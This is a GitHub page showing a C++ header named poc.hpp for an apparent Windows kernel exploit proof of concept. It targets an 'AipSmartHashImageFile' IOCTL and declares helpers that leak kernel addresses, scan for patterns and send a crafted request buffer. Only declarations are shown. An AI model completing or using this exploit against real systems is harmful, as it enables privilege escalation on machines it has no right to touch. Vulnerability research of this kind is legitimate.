-
Notifications
You must be signed in to change notification settings - Fork 60
/
Copy pathpoc.hpp
67 lines (55 loc) · 2.05 KB
/
poc.hpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
#pragma once
typedef struct _CFG_FUNCTION_WRAPPER {
PVOID FunctionPointer;
} CFG_FUNCTION_WRAPPER, *PCFG_FUNCTION_WRAPPER;
typedef struct _AIP_SMART_HASH_IMAGE_FILE_W10 {
UINT64 FirstArg; // 8 bytes - Reserved or used as needed
PVOID Value; // 8 bytes - Should be 0 according to the requirement
PCFG_FUNCTION_WRAPPER
PtrToFunctionWrapper; // 8 bytes - Points to CFG_FUNCTION_WRAPPER
} AIP_SMART_HASH_IMAGE_FILE_W10, *PAIP_SMART_HASH_IMAGE_FILE_W10;
typedef struct _AIP_SMART_HASH_IMAGE_FILE_W11 {
UINT64 FirstArg; // 8 bytes - Reserved or used as needed
PVOID Value; // 8 bytes - Should be 0 according to the requirement
PCFG_FUNCTION_WRAPPER
PtrToFunctionWrapper; // 8 bytes - Points to CFG_FUNCTION_WRAPPER
PVOID Unknown; // 8 bytes - Reserved or used as needed
} AIP_SMART_HASH_IMAGE_FILE_W11, *PAIP_SMART_HASH_IMAGE_FILE_W11;
typedef struct SYSTEM_MODULE {
ULONG Reserved1;
ULONG Reserved2;
#ifdef _WIN64
ULONG Reserved3;
#endif
PVOID ImageBaseAddress;
ULONG ImageSize;
ULONG Flags;
WORD Id;
WORD Rank;
WORD w018;
WORD NameOffset;
CHAR Name[255];
} SYSTEM_MODULE, *PSYSTEM_MODULE;
typedef struct SYSTEM_MODULE_INFORMATION {
ULONG ModulesCount;
SYSTEM_MODULE Modules[1];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
class c_poc {
private:
static constexpr uintptr_t IOCTL_AipSmartHashImageFile = 0x22A018;
void *set_ioctl_buffer(size_t *k_thread_offset, OSVERSIONINFOEXW *os_info);
UINT_PTR get_ethread_address();
UINT_PTR get_file_object_address();
UINT_PTR get_kernel_module_address(const char *TargetModule);
BOOL scan_section_for_pattern(HANDLE h_process, LPVOID lp_base_address,
SIZE_T dw_size, BYTE *pattern,
SIZE_T pattern_size, LPVOID *lp_found_address);
UINT_PTR find_pattern(HMODULE h_module);
bool send_ioctl_request(HANDLE h_device, PVOID input_buffer,
size_t input_buffer_length);
public:
c_poc() = default;
~c_poc() = default;
bool act();
};
inline auto poc = std::make_unique<c_poc>();